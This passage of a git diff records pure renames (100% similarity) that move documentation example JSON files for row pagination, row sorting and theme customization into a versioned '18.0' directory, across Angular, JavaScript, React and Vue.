runner/apps/authoring/public/docs-examples/guides__rows__rows-pagination__javascript__example5.ts.json rename to runner/apps/authoring/public/docs-examples/18.0/guides__rows__rows-pagination__javascript__example5.ts.json diff --git a/runner/apps/authoring/public/docs-examples/guides__rows__rows-pagination__javascript__example6.js.json b/runner/apps/authoring/public/docs-examples/18.0/guides__rows__rows-pagination__javascript__example6.js.json similarity index 100% rename from runner/apps/authoring/public/docs-examples/guides__rows__rows-pagination__javascript__example6.js.json rename to runner/apps/authoring/public/docs-examples/18.0/guides__rows__rows-pagination__javascript__example6.js.json diff --git a/runner/apps/authoring/public/docs-examples/guides__rows__rows-pagination__javascript__example6.ts.json b/runner/apps/authoring/public/docs-examples/18.0/guides__rows__rows-pagination__javascript__example6.ts.json similarity index 100% rename from runner/apps/authoring/public/docs-examples/guides__rows__rows-pagination__javascript__example6.ts.json rename to runner/apps/authoring/public/docs-examples/18.0/guides__rows__rows-pagination__javascript__example6.ts.json diff --git a/runner/apps/authoring/public/docs-examples/guides__rows__rows-pagination__react__example1.tsx.json b/runner/apps/authoring/public/docs-examples/18.0/guides__rows__rows-pagination__react__example1.tsx.json similarity index 100% rename from runner/apps/authoring/public/docs-examples/guides__rows__rows-pagination__react__example1.tsx.json rename to runner/apps/authoring/public/docs-examples/18.0/guides__rows__rows-pagination__react__example1.tsx.json diff --git a/runner/apps/authoring/public/docs-examples/guides__rows__rows-pagination__react__example2.tsx.json b/runner/apps/authoring/public/docs-examples/18.0/guides__rows__rows-pagination__react__example2.tsx.json similarity index 100% rename from runner/apps/authoring/public/docs-examples/guides__rows__rows-pagination__react__example2.tsx.json rename to runner/apps/authoring/public/docs-examples/18.0/guides__rows__rows-pagination__react__example2.tsx.json diff --git a/runner/apps/authoring/public/docs-examples/guides__rows__rows-pagination__react__example3.tsx.json b/runner/apps/authoring/public/docs-examples/18.0/guides__rows__rows-pagination__react__example3.tsx.json similarity index 100% rename from runner/apps/authoring/public/docs-examples/guides__rows__rows-pagination__react__example3.tsx.json rename to runner/apps/authoring/public/docs-examples/18.0/guides__rows__rows-pagination__react__example3.tsx.json diff --git a/runner/apps/authoring/public/docs-examples/guides__rows__rows-pagination__react__example4.tsx.json b/runner/apps/authoring/public/docs-examples/18.0/guides__rows__rows-pagination__react__example4.tsx.json similarity index 100% rename from runner/apps/authoring/public/docs-examples/guides__rows__rows-pagination__react__example4.tsx.json rename to runner/apps/authoring/public/docs-examples/18.0/guides__rows__rows-pagination__react__example4.tsx.json diff --git a/runner/apps/authoring/public/docs-examples/guides__rows__rows-pagination__react__example5.tsx.json b/runner/apps/authoring/public/docs-examples/18.0/guides__rows__rows-pagination__react__example5.tsx.json similarity index 100% rename from runner/apps/authoring/public/docs-examples/guides__rows__rows-pagination__react__example5.tsx.json rename to runner/apps/authoring/public/docs-examples/18.0/guides__rows__rows-pagination__react__example5.tsx.json diff --git a/runner/apps/authoring/public/docs-examples/guides__rows__rows-pagination__react__example6.tsx.json b/runner/apps/authoring/public/docs-examples/18.0/guides__rows__rows-pagination__react__example6.tsx.json similarity index 100% rename from runner/apps/authoring/public/docs-examples/guides__rows__rows-pagination__react__example6.tsx.json rename to runner/apps/authoring/public/docs-examples/18.0/guides__rows__rows-pagination__react__example6.tsx.json diff --git a/runner/apps/authoring/public/docs-examples/guides__rows__rows-pagination__vue__example1.vue.json b/runner/apps/authoring/public/docs-examples/18.0/guides__rows__rows-pagination__vue__example1.vue.json similarity index 100% rename from runner/apps/authoring/public/docs-examples/guides__rows__rows-pagination__vue__example1.vue.json rename to runner/apps/authoring/public/docs-examples/18.0/guides__rows__rows-pagination__vue__example1.vue.json diff --git a/runner/apps/authoring/public/docs-examples/guides__rows__rows-pagination__vue__example2.vue.json b/runner/apps/authoring/public/docs-examples/18.0/guides__rows__rows-pagination__vue__example2.vue.json similarity index 100% rename from runner/apps/authoring/public/docs-examples/guides__rows__rows-pagination__vue__example2.vue.json rename to runner/apps/authoring/public/docs-examples/18.0/guides__rows__rows-pagination__vue__example2.vue.json diff --git a/runner/apps/authoring/public/docs-examples/guides__rows__rows-pagination__vue__example3.vue.json b/runner/apps/authoring/public/docs-examples/18.0/guides__rows__rows-pagination__vue__example3.vue.json similarity index 100% rename from runner/apps/authoring/public/docs-examples/guides__rows__rows-pagination__vue__example3.vue.json rename to runner/apps/authoring/public/docs-examples/18.0/guides__rows__rows-pagination__vue__example3.vue.json diff --git a/runner/apps/authoring/public/docs-examples/guides__rows__rows-pagination__vue__example4.vue.json b/runner/apps/authoring/public/docs-examples/18.0/guides__rows__rows-pagination__vue__example4.vue.json similarity index 100% rename from runner/apps/authoring/public/docs-examples/guides__rows__rows-pagination__vue__example4.vue.json rename to runner/apps/authoring/public/docs-examples/18.0/guides__rows__rows-pagination__vue__example4.vue.json diff --git a/runner/apps/authoring/public/docs-examples/guides__rows__rows-pagination__vue__example5.vue.json b/runner/apps/authoring/public/docs-examples/18.0/guides__rows__rows-pagination__vue__example5.vue.json similarity index 100% rename from runner/apps/authoring/public/docs-examples/guides__rows__rows-pagination__vue__example5.vue.json rename to runner/apps/authoring/public/docs-examples/18.0/guides__rows__rows-pagination__vue__example5.vue.json diff --git a/runner/apps/authoring/public/docs-examples/guides__rows__rows-pagination__vue__example6.vue.json b/runner/apps/authoring/public/docs-examples/18.0/guides__rows__rows-pagination__vue__example6.vue.json similarity index 100% rename from runner/apps/authoring/public/docs-examples/guides__rows__rows-pagination__vue__example6.vue.json rename to runner/apps/authoring/public/docs-examples/18.0/guides__rows__rows-pagination__vue__example6.vue.json diff --git a/runner/apps/authoring/public/docs-examples/guides__rows__rows-sorting__angular__example1.ts.json b/runner/apps/authoring/public/docs-examples/18.0/guides__rows__rows-sorting__angular__example1.ts.json similarity index 100% rename from runner/apps/authoring/public/docs-examples/guides__rows__rows-sorting__angular__example1.ts.json rename to runner/apps/authoring/public/docs-examples/18.0/guides__rows__rows-sorting__angular__example1.ts.json diff --git a/runner/apps/authoring/public/docs-examples/guides__rows__rows-sorting__angular__example10.ts.json b/runner/apps/authoring/public/docs-examples/18.0/guides__rows__rows-sorting__angular__example10.ts.json similarity index 100% rename from runner/apps/authoring/public/docs-examples/guides__rows__rows-sorting__angular__example10.ts.json rename to runner/apps/authoring/public/docs-examples/18.0/guides__rows__rows-sorting__angular__example10.ts.json diff --git a/runner/apps/authoring/public/docs-examples/guides__rows__rows-sorting__angular__example2.ts.json b/runner/apps/authoring/public/docs-examples/18.0/guides__rows__rows-sorting__angular__example2.ts.json similarity index 100% rename from runner/apps/authoring/public/docs-examples/guides__rows__rows-sorting__angular__example2.ts.json rename to runner/apps/authoring/public/docs-examples/18.0/guides__rows__rows-sorting__angular__example2.ts.json diff --git a/runner/apps/authoring/public/docs-examples/guides__rows__rows-sorting__angular__example3.ts.json b/runner/apps/authoring/public/docs-examples/18.0/guides__rows__rows-sorting__angular__example3.ts.json similarity index 100% rename from runner/apps/authoring/public/docs-examples/guides__rows__rows-sorting__angular__example3.ts.json rename to runner/apps/authoring/public/docs-examples/18.0/guides__rows__rows-sorting__angular__example3.ts.json diff --git a/runner/apps/authoring/public/docs-examples/guides__rows__rows-sorting__angular__example4.ts.json b/runner/apps/authoring/public/docs-examples/18.0/guides__rows__rows-sorting__angular__example4.ts.json similarity index 100% rename from runner/apps/authoring/public/docs-examples/guides__rows__rows-sorting__angular__example4.ts.json rename to runner/apps/authoring/public/docs-examples/18.0/guides__rows__rows-sorting__angular__example4.ts.json diff --git a/runner/apps/authoring/public/docs-examples/guides__rows__rows-sorting__angular__example5.ts.json b/runner/apps/authoring/public/docs-examples/18.0/guides__rows__rows-sorting__angular__example5.ts.json similarity index 100% rename from runner/apps/authoring/public/docs-examples/guides__rows__rows-sorting__angular__example5.ts.json rename to runner/apps/authoring/public/docs-examples/18.0/guides__rows__rows-sorting__angular__example5.ts.json diff --git a/runner/apps/authoring/public/docs-examples/guides__rows__rows-sorting__angular__example6.ts.json b/runner/apps/authoring/public/docs-examples/18.0/guides__rows__rows-sorting__angular__example6.ts.json similarity index 100% rename from runner/apps/authoring/public/docs-examples/guides__rows__rows-sorting__angular__example6.ts.json rename to runner/apps/authoring/public/docs-examples/18.0/guides__rows__rows-sorting__angular__example6.ts.json diff --git a/runner/apps/authoring/public/docs-examples/guides__rows__rows-sorting__angular__example7.ts.json b/runner/apps/authoring/public/docs-examples/18.0/guides__rows__rows-sorting__angular__example7.ts.json similarity index 100% rename from runner/apps/authoring/public/docs-examples/guides__rows__rows-sorting__angular__example7.ts.json rename to runner/apps/authoring/public/docs-examples/18.0/guides__rows__rows-sorting__angular__example7.ts.json diff --git a/runner/apps/authoring/public/docs-examples/guides__rows__rows-sorting__angular__example8.ts.json b/runner/apps/authoring/public/docs-examples/18.0/guides__rows__rows-sorting__angular__example8.ts.json similarity index 100% rename from runner/apps/authoring/public/docs-examples/guides__rows__rows-sorting__angular__example8.ts.json rename to runner/apps/authoring/public/docs-examples/18.0/guides__rows__rows-sorting__angular__example8.ts.json diff --git a/runner/apps/authoring/public/docs-examples/guides__rows__rows-sorting__angular__example9.ts.json b/runner/apps/authoring/public/docs-examples/18.0/guides__rows__rows-sorting__angular__example9.ts.json similarity index 100% rename from runner/apps/authoring/public/docs-examples/guides__rows__rows-sorting__angular__example9.ts.json rename to runner/apps/authoring/public/docs-examples/18.0/guides__rows__rows-sorting__angular__example9.ts.json diff --git a/runner/apps/authoring/public/docs-examples/guides__rows__rows-sorting__javascript__exampleCustomSortIcons.js.json b/runner/apps/authoring/public/docs-examples/18.0/guides__rows__rows-sorting__javascript__exampleCustomSortIcons.js.json similarity index 100% rename from runner/apps/authoring/public/docs-examples/guides__rows__rows-sorting__javascript__exampleCustomSortIcons.js.json rename to runner/apps/authoring/public/docs-examples/18.0/guides__rows__rows-sorting__javascript__exampleCustomSortIcons.js.json diff --git a/runner/apps/authoring/public/docs-examples/guides__rows__rows-sorting__javascript__exampleCustomSortIcons.ts.json b/runner/apps/authoring/public/docs-examples/18.0/guides__rows__rows-sorting__javascript__exampleCustomSortIcons.ts.json similarity index 100% rename from runner/apps/authoring/public/docs-examples/guides__rows__rows-sorting__javascript__exampleCustomSortIcons.ts.json rename to runner/apps/authoring/public/docs-examples/18.0/guides__rows__rows-sorting__javascript__exampleCustomSortIcons.ts.json diff --git a/runner/apps/authoring/public/docs-examples/guides__rows__rows-sorting__javascript__exampleCustomSortIcons3.js.json b/runner/apps/authoring/public/docs-examples/18.0/guides__rows__rows-sorting__javascript__exampleCustomSortIcons3.js.json similarity index 100% rename from runner/apps/authoring/public/docs-examples/guides__rows__rows-sorting__javascript__exampleCustomSortIcons3.js.json rename to runner/apps/authoring/public/docs-examples/18.0/guides__rows__rows-sorting__javascript__exampleCustomSortIcons3.js.json diff --git a/runner/apps/authoring/public/docs-examples/guides__rows__rows-sorting__javascript__exampleCustomSortIcons3.ts.json b/runner/apps/authoring/public/docs-examples/18.0/guides__rows__rows-sorting__javascript__exampleCustomSortIcons3.ts.json similarity index 100% rename from runner/apps/authoring/public/docs-examples/guides__rows__rows-sorting__javascript__exampleCustomSortIcons3.ts.json rename to runner/apps/authoring/public/docs-examples/18.0/guides__rows__rows-sorting__javascript__exampleCustomSortIcons3.ts.json diff --git a/runner/apps/authoring/public/docs-examples/guides__rows__rows-sorting__javascript__exampleEnableSortingForColumns.js.json b/runner/apps/authoring/public/docs-examples/18.0/guides__rows__rows-sorting__javascript__exampleEnableSortingForColumns.js.json similarity index 100% rename from runner/apps/authoring/public/docs-examples/guides__rows__rows-sorting__javascript__exampleEnableSortingForColumns.js.json rename to runner/apps/authoring/public/docs-examples/18.0/guides__rows__rows-sorting__javascript__exampleEnableSortingForColumns.js.json diff --git a/runner/apps/authoring/public/docs-examples/guides__rows__rows-sorting__javascript__exampleEnableSortingForColumns.ts.json b/runner/apps/authoring/public/docs-examples/18.0/guides__rows__rows-sorting__javascript__exampleEnableSortingForColumns.ts.json similarity index 100% rename from runner/apps/authoring/public/docs-examples/guides__rows__rows-sorting__javascript__exampleEnableSortingForColumns.ts.json rename to runner/apps/authoring/public/docs-examples/18.0/guides__rows__rows-sorting__javascript__exampleEnableSortingForColumns.ts.json diff --git a/runner/apps/authoring/public/docs-examples/guides__rows__rows-sorting__javascript__exampleExcludeRowsFromSorting.js.json b/runner/apps/authoring/public/docs-examples/18.0/guides__rows__rows-sorting__javascript__exampleExcludeRowsFromSorting.js.json similarity index 100% rename from runner/apps/authoring/public/docs-examples/guides__rows__rows-sorting__javascript__exampleExcludeRowsFromSorting.js.json rename to runner/apps/authoring/public/docs-examples/18.0/guides__rows__rows-sorting__javascript__exampleExcludeRowsFromSorting.js.json diff --git a/runner/apps/authoring/public/docs-examples/guides__rows__rows-sorting__javascript__exampleExcludeRowsFromSorting.ts.json b/runner/apps/authoring/public/docs-examples/18.0/guides__rows__rows-sorting__javascript__exampleExcludeRowsFromSorting.ts.json similarity index 100% rename from runner/apps/authoring/public/docs-examples/guides__rows__rows-sorting__javascript__exampleExcludeRowsFromSorting.ts.json rename to runner/apps/authoring/public/docs-examples/18.0/guides__rows__rows-sorting__javascript__exampleExcludeRowsFromSorting.ts.json diff --git a/runner/apps/authoring/public/docs-examples/guides__rows__rows-sorting__javascript__exampleInitialSortOrder.js.json b/runner/apps/authoring/public/docs-examples/18.0/guides__rows__rows-sorting__javascript__exampleInitialSortOrder.js.json similarity index 100% rename from runner/apps/authoring/public/docs-examples/guides__rows__rows-sorting__javascript__exampleInitialSortOrder.js.json rename to runner/apps/authoring/public/docs-examples/18.0/guides__rows__rows-sorting__javascript__exampleInitialSortOrder.js.json diff --git a/runner/apps/authoring/public/docs-examples/guides__rows__rows-sorting__javascript__exampleInitialSortOrder.ts.json b/runner/apps/authoring/public/docs-examples/18.0/guides__rows__rows-sorting__javascript__exampleInitialSortOrder.ts.json similarity index 100% rename from runner/apps/authoring/public/docs-examples/guides__rows__rows-sorting__javascript__exampleInitialSortOrder.ts.json rename to runner/apps/authoring/public/docs-examples/18.0/guides__rows__rows-sorting__javascript__exampleInitialSortOrder.ts.json diff --git a/runner/apps/authoring/public/docs-examples/guides__rows__rows-sorting__javascript__exampleSortByAPI.js.json b/runner/apps/authoring/public/docs-examples/18.0/guides__rows__rows-sorting__javascript__exampleSortByAPI.js.json similarity index 100% rename from runner/apps/authoring/public/docs-examples/guides__rows__rows-sorting__javascript__exampleSortByAPI.js.json rename to runner/apps/authoring/public/docs-examples/18.0/guides__rows__rows-sorting__javascript__exampleSortByAPI.js.json diff --git a/runner/apps/authoring/public/docs-examples/guides__rows__rows-sorting__javascript__exampleSortByAPI.ts.json b/runner/apps/authoring/public/docs-examples/18.0/guides__rows__rows-sorting__javascript__exampleSortByAPI.ts.json similarity index 100% rename from runner/apps/authoring/public/docs-examples/guides__rows__rows-sorting__javascript__exampleSortByAPI.ts.json rename to runner/apps/authoring/public/docs-examples/18.0/guides__rows__rows-sorting__javascript__exampleSortByAPI.ts.json diff --git a/runner/apps/authoring/public/docs-examples/guides__rows__rows-sorting__javascript__exampleSortByAPIMultipleColumns.js.json b/runner/apps/authoring/public/docs-examples/18.0/guides__rows__rows-sorting__javascript__exampleSortByAPIMultipleColumns.js.json similarity index 100% rename from runner/apps/authoring/public/docs-examples/guides__rows__rows-sorting__javascript__exampleSortByAPIMultipleColumns.js.json rename to runner/apps/authoring/public/docs-examples/18.0/guides__rows__rows-sorting__javascript__exampleSortByAPIMultipleColumns.js.json diff --git a/runner/apps/authoring/public/docs-examples/guides__rows__rows-sorting__javascript__exampleSortByAPIMultipleColumns.ts.json b/runner/apps/authoring/public/docs-examples/18.0/guides__rows__rows-sorting__javascript__exampleSortByAPIMultipleColumns.ts.json similarity index 100% rename from runner/apps/authoring/public/docs-examples/guides__rows__rows-sorting__javascript__exampleSortByAPIMultipleColumns.ts.json rename to runner/apps/authoring/public/docs-examples/18.0/guides__rows__rows-sorting__javascript__exampleSortByAPIMultipleColumns.ts.json diff --git a/runner/apps/authoring/public/docs-examples/guides__rows__rows-sorting__javascript__exampleSortByMultipleColumns.js.json b/runner/apps/authoring/public/docs-examples/18.0/guides__rows__rows-sorting__javascript__exampleSortByMultipleColumns.js.json similarity index 100% rename from runner/apps/authoring/public/docs-examples/guides__rows__rows-sorting__javascript__exampleSortByMultipleColumns.js.json rename to runner/apps/authoring/public/docs-examples/18.0/guides__rows__rows-sorting__javascript__exampleSortByMultipleColumns.js.json diff --git a/runner/apps/authoring/public/docs-examples/guides__rows__rows-sorting__javascript__exampleSortByMultipleColumns.ts.json b/runner/apps/authoring/public/docs-examples/18.0/guides__rows__rows-sorting__javascript__exampleSortByMultipleColumns.ts.json similarity index 100% rename from runner/apps/authoring/public/docs-examples/guides__rows__rows-sorting__javascript__exampleSortByMultipleColumns.ts.json rename to runner/apps/authoring/public/docs-examples/18.0/guides__rows__rows-sorting__javascript__exampleSortByMultipleColumns.ts.json diff --git a/runner/apps/authoring/public/docs-examples/guides__rows__rows-sorting__javascript__exampleSortDifferentTypes.js.json b/runner/apps/authoring/public/docs-examples/18.0/guides__rows__rows-sorting__javascript__exampleSortDifferentTypes.js.json similarity index 100% rename from runner/apps/authoring/public/docs-examples/guides__rows__rows-sorting__javascript__exampleSortDifferentTypes.js.json rename to runner/apps/authoring/public/docs-examples/18.0/guides__rows__rows-sorting__javascript__exampleSortDifferentTypes.js.json diff --git a/runner/apps/authoring/public/docs-examples/guides__rows__rows-sorting__javascript__exampleSortDifferentTypes.ts.json b/runner/apps/authoring/public/docs-examples/18.0/guides__rows__rows-sorting__javascript__exampleSortDifferentTypes.ts.json similarity index 100% rename from runner/apps/authoring/public/docs-examples/guides__rows__rows-sorting__javascript__exampleSortDifferentTypes.ts.json rename to runner/apps/authoring/public/docs-examples/18.0/guides__rows__rows-sorting__javascript__exampleSortDifferentTypes.ts.json diff --git a/runner/apps/authoring/public/docs-examples/guides__rows__rows-sorting__javascript__exampleSortingDemo.js.json b/runner/apps/authoring/public/docs-examples/18.0/guides__rows__rows-sorting__javascript__exampleSortingDemo.js.json similarity index 100% rename from runner/apps/authoring/public/docs-examples/guides__rows__rows-sorting__javascript__exampleSortingDemo.js.json rename to runner/apps/authoring/public/docs-examples/18.0/guides__rows__rows-sorting__javascript__exampleSortingDemo.js.json diff --git a/runner/apps/authoring/public/docs-examples/guides__rows__rows-sorting__javascript__exampleSortingDemo.ts.json b/runner/apps/authoring/public/docs-examples/18.0/guides__rows__rows-sorting__javascript__exampleSortingDemo.ts.json similarity index 100% rename from runner/apps/authoring/public/docs-examples/guides__rows__rows-sorting__javascript__exampleSortingDemo.ts.json rename to runner/apps/authoring/public/docs-examples/18.0/guides__rows__rows-sorting__javascript__exampleSortingDemo.ts.json diff --git a/runner/apps/authoring/public/docs-examples/guides__rows__rows-sorting__react__exampleCustomSortIcons.tsx.json b/runner/apps/authoring/public/docs-examples/18.0/guides__rows__rows-sorting__react__exampleCustomSortIcons.tsx.json similarity index 100% rename from runner/apps/authoring/public/docs-examples/guides__rows__rows-sorting__react__exampleCustomSortIcons.tsx.json rename to runner/apps/authoring/public/docs-examples/18.0/guides__rows__rows-sorting__react__exampleCustomSortIcons.tsx.json diff --git a/runner/apps/authoring/public/docs-examples/guides__rows__rows-sorting__react__exampleCustomSortIcons3.tsx.json b/runner/apps/authoring/public/docs-examples/18.0/guides__rows__rows-sorting__react__exampleCustomSortIcons3.tsx.json similarity index 100% rename from runner/apps/authoring/public/docs-examples/guides__rows__rows-sorting__react__exampleCustomSortIcons3.tsx.json rename to runner/apps/authoring/public/docs-examples/18.0/guides__rows__rows-sorting__react__exampleCustomSortIcons3.tsx.json diff --git a/runner/apps/authoring/public/docs-examples/guides__rows__rows-sorting__react__exampleEnableSortingForColumns.tsx.json b/runner/apps/authoring/public/docs-examples/18.0/guides__rows__rows-sorting__react__exampleEnableSortingForColumns.tsx.json similarity index 100% rename from runner/apps/authoring/public/docs-examples/guides__rows__rows-sorting__react__exampleEnableSortingForColumns.tsx.json rename to runner/apps/authoring/public/docs-examples/18.0/guides__rows__rows-sorting__react__exampleEnableSortingForColumns.tsx.json diff --git a/runner/apps/authoring/public/docs-examples/guides__rows__rows-sorting__react__exampleExcludeRowsFromSorting.tsx.json b/runner/apps/authoring/public/docs-examples/18.0/guides__rows__rows-sorting__react__exampleExcludeRowsFromSorting.tsx.json similarity index 100% rename from runner/apps/authoring/public/docs-examples/guides__rows__rows-sorting__react__exampleExcludeRowsFromSorting.tsx.json rename to runner/apps/authoring/public/docs-examples/18.0/guides__rows__rows-sorting__react__exampleExcludeRowsFromSorting.tsx.json diff --git a/runner/apps/authoring/public/docs-examples/guides__rows__rows-sorting__react__exampleInitialSortOrder.tsx.json b/runner/apps/authoring/public/docs-examples/18.0/guides__rows__rows-sorting__react__exampleInitialSortOrder.tsx.json similarity index 100% rename from runner/apps/authoring/public/docs-examples/guides__rows__rows-sorting__react__exampleInitialSortOrder.tsx.json rename to runner/apps/authoring/public/docs-examples/18.0/guides__rows__rows-sorting__react__exampleInitialSortOrder.tsx.json diff --git a/runner/apps/authoring/public/docs-examples/guides__rows__rows-sorting__react__exampleSortByAPI.tsx.json b/runner/apps/authoring/public/docs-examples/18.0/guides__rows__rows-sorting__react__exampleSortByAPI.tsx.json similarity index 100% rename from runner/apps/authoring/public/docs-examples/guides__rows__rows-sorting__react__exampleSortByAPI.tsx.json rename to runner/apps/authoring/public/docs-examples/18.0/guides__rows__rows-sorting__react__exampleSortByAPI.tsx.json diff --git a/runner/apps/authoring/public/docs-examples/guides__rows__rows-sorting__react__exampleSortByAPIMultipleColumns.tsx.json b/runner/apps/authoring/public/docs-examples/18.0/guides__rows__rows-sorting__react__exampleSortByAPIMultipleColumns.tsx.json similarity index 100% rename from runner/apps/authoring/public/docs-examples/guides__rows__rows-sorting__react__exampleSortByAPIMultipleColumns.tsx.json rename to runner/apps/authoring/public/docs-examples/18.0/guides__rows__rows-sorting__react__exampleSortByAPIMultipleColumns.tsx.json diff --git a/runner/apps/authoring/public/docs-examples/guides__rows__rows-sorting__react__exampleSortByMultipleColumns.tsx.json b/runner/apps/authoring/public/docs-examples/18.0/guides__rows__rows-sorting__react__exampleSortByMultipleColumns.tsx.json similarity index 100% rename from runner/apps/authoring/public/docs-examples/guides__rows__rows-sorting__react__exampleSortByMultipleColumns.tsx.json rename to runner/apps/authoring/public/docs-examples/18.0/guides__rows__rows-sorting__react__exampleSortByMultipleColumns.tsx.json diff --git a/runner/apps/authoring/public/docs-examples/guides__rows__rows-sorting__react__exampleSortDifferentTypes.tsx.json b/runner/apps/authoring/public/docs-examples/18.0/guides__rows__rows-sorting__react__exampleSortDifferentTypes.tsx.json similarity index 100% rename from runner/apps/authoring/public/docs-examples/guides__rows__rows-sorting__react__exampleSortDifferentTypes.tsx.json rename to runner/apps/authoring/public/docs-examples/18.0/guides__rows__rows-sorting__react__exampleSortDifferentTypes.tsx.json diff --git a/runner/apps/authoring/public/docs-examples/guides__rows__rows-sorting__react__exampleSortingDemo.tsx.json b/runner/apps/authoring/public/docs-examples/18.0/guides__rows__rows-sorting__react__exampleSortingDemo.tsx.json similarity index 100% rename from runner/apps/authoring/public/docs-examples/guides__rows__rows-sorting__react__exampleSortingDemo.tsx.json rename to runner/apps/authoring/public/docs-examples/18.0/guides__rows__rows-sorting__react__exampleSortingDemo.tsx.json diff --git a/runner/apps/authoring/public/docs-examples/guides__rows__rows-sorting__vue__exampleCustomSortIcons.vue.json b/runner/apps/authoring/public/docs-examples/18.0/guides__rows__rows-sorting__vue__exampleCustomSortIcons.vue.json similarity index 100% rename from runner/apps/authoring/public/docs-examples/guides__rows__rows-sorting__vue__exampleCustomSortIcons.vue.json rename to runner/apps/authoring/public/docs-examples/18.0/guides__rows__rows-sorting__vue__exampleCustomSortIcons.vue.json diff --git a/runner/apps/authoring/public/docs-examples/guides__rows__rows-sorting__vue__exampleCustomSortIcons3.vue.json b/runner/apps/authoring/public/docs-examples/18.0/guides__rows__rows-sorting__vue__exampleCustomSortIcons3.vue.json similarity index 100% rename from runner/apps/authoring/public/docs-examples/guides__rows__rows-sorting__vue__exampleCustomSortIcons3.vue.json rename to runner/apps/authoring/public/docs-examples/18.0/guides__rows__rows-sorting__vue__exampleCustomSortIcons3.vue.json diff --git a/runner/apps/authoring/public/docs-examples/guides__rows__rows-sorting__vue__exampleEnableSortingForColumns.vue.json b/runner/apps/authoring/public/docs-examples/18.0/guides__rows__rows-sorting__vue__exampleEnableSortingForColumns.vue.json similarity index 100% rename from runner/apps/authoring/public/docs-examples/guides__rows__rows-sorting__vue__exampleEnableSortingForColumns.vue.json rename to runner/apps/authoring/public/docs-examples/18.0/guides__rows__rows-sorting__vue__exampleEnableSortingForColumns.vue.json diff --git a/runner/apps/authoring/public/docs-examples/guides__rows__rows-sorting__vue__exampleExcludeRowsFromSorting.vue.json b/runner/apps/authoring/public/docs-examples/18.0/guides__rows__rows-sorting__vue__exampleExcludeRowsFromSorting.vue.json similarity index 100% rename from runner/apps/authoring/public/docs-examples/guides__rows__rows-sorting__vue__exampleExcludeRowsFromSorting.vue.json rename to runner/apps/authoring/public/docs-examples/18.0/guides__rows__rows-sorting__vue__exampleExcludeRowsFromSorting.vue.json diff --git a/runner/apps/authoring/public/docs-examples/guides__rows__rows-sorting__vue__exampleInitialSortOrder.vue.json b/runner/apps/authoring/public/docs-examples/18.0/guides__rows__rows-sorting__vue__exampleInitialSortOrder.vue.json similarity index 100% rename from runner/apps/authoring/public/docs-examples/guides__rows__rows-sorting__vue__exampleInitialSortOrder.vue.json rename to runner/apps/authoring/public/docs-examples/18.0/guides__rows__rows-sorting__vue__exampleInitialSortOrder.vue.json diff --git a/runner/apps/authoring/public/docs-examples/guides__rows__rows-sorting__vue__exampleSortByAPI.vue.json b/runner/apps/authoring/public/docs-examples/18.0/guides__rows__rows-sorting__vue__exampleSortByAPI.vue.json similarity index 100% rename from runner/apps/authoring/public/docs-examples/guides__rows__rows-sorting__vue__exampleSortByAPI.vue.json rename to runner/apps/authoring/public/docs-examples/18.0/guides__rows__rows-sorting__vue__exampleSortByAPI.vue.json diff --git a/runner/apps/authoring/public/docs-examples/guides__rows__rows-sorting__vue__exampleSortByAPIMultipleColumns.vue.json b/runner/apps/authoring/public/docs-examples/18.0/guides__rows__rows-sorting__vue__exampleSortByAPIMultipleColumns.vue.json similarity index 100% rename from runner/apps/authoring/public/docs-examples/guides__rows__rows-sorting__vue__exampleSortByAPIMultipleColumns.vue.json rename to runner/apps/authoring/public/docs-examples/18.0/guides__rows__rows-sorting__vue__exampleSortByAPIMultipleColumns.vue.json diff --git a/runner/apps/authoring/public/docs-examples/guides__rows__rows-sorting__vue__exampleSortByMultipleColumns.vue.json b/runner/apps/authoring/public/docs-examples/18.0/guides__rows__rows-sorting__vue__exampleSortByMultipleColumns.vue.json similarity index 100% rename from runner/apps/authoring/public/docs-examples/guides__rows__rows-sorting__vue__exampleSortByMultipleColumns.vue.json rename to runner/apps/authoring/public/docs-examples/18.0/guides__rows__rows-sorting__vue__exampleSortByMultipleColumns.vue.json diff --git a/runner/apps/authoring/public/docs-examples/guides__rows__rows-sorting__vue__exampleSortDifferentTypes.vue.json b/runner/apps/authoring/public/docs-examples/18.0/guides__rows__rows-sorting__vue__exampleSortDifferentTypes.vue.json similarity index 100% rename from runner/apps/authoring/public/docs-examples/guides__rows__rows-sorting__vue__exampleSortDifferentTypes.vue.json rename to runner/apps/authoring/public/docs-examples/18.0/guides__rows__rows-sorting__vue__exampleSortDifferentTypes.vue.json diff --git a/runner/apps/authoring/public/docs-examples/guides__rows__rows-sorting__vue__exampleSortingDemo.vue.json b/runner/apps/authoring/public/docs-examples/18.0/guides__rows__rows-sorting__vue__exampleSortingDemo.vue.json similarity index 100% rename from runner/apps/authoring/public/docs-examples/guides__rows__rows-sorting__vue__exampleSortingDemo.vue.json rename to runner/apps/authoring/public/docs-examples/18.0/guides__rows__rows-sorting__vue__exampleSortingDemo.vue.json diff --git a/runner/apps/authoring/public/docs-examples/guides__styling__theme-customization__angular__example1.ts.json b/runner/apps/authoring/public/docs-examples/18.0/guides__styling__theme-customization__angular__example1.ts.json similarity index 100% rename from runner/apps/authoring/public/docs-examples/guides__styling__theme-customization__angular__example1.ts.json rename to runner/apps/authoring/public/docs-examples/18.0/guides__styling__theme-customization__angular__example1.ts.json diff --git a/runner/apps/authoring/public/docs-examples/guides__styling__theme-customization__angular__example2.ts.json b/runner/apps/authoring/public/docs-examples/18.0/guides__styling__theme-customization__angular__example2.ts.json similarity index 100% rename from runner/apps/authoring/public/docs-examples/guides__styling__theme-customization__angular__example2.ts.json rename to runner/apps/authoring/public/docs-examples/18.0/guides__styling__theme-customization__angular__example2.ts.json diff --git a/runner/apps/authoring/public/docs-examples/guides__styling__theme-customization__javascript__example1.js.json b/runner/apps/authoring/public/docs-examples/18.0/guides__styling__theme-customization__javascript__example1.js.json similarity index 100% rename from runner/apps/authoring/public/docs-examples/guides__styling__theme-customization__javascript__example1.js.json rename to runner/apps/authoring/public/docs-examples/18.0/guides__styling__theme-customization__javascript__example1.js.json diff --git a/runner/apps/authoring/public/docs-examples/guides__styling__theme-customization__javascript__example1.ts.json b/runner/apps/authoring/public/docs-examples/18.0/guides__styling__theme-customization__javascript__example1.ts.json similarity index 100% rename from runner/apps/authoring/public/docs-examples/guides__styling__theme-customization__javascript__example1.ts.json rename to runner/apps/authoring/public/docs-examples/18.0/guides__styling__theme-customization__javascript__example1.ts.json diff --git a/runner/apps/authoring/public/docs-examples/guides__styling__theme-customization__javascript__example2.js.json b/runner/apps/authoring/public/docs-examples/18.0/guides__styling__theme-customization__javascript__example2.js.json similarity index 100% rename from 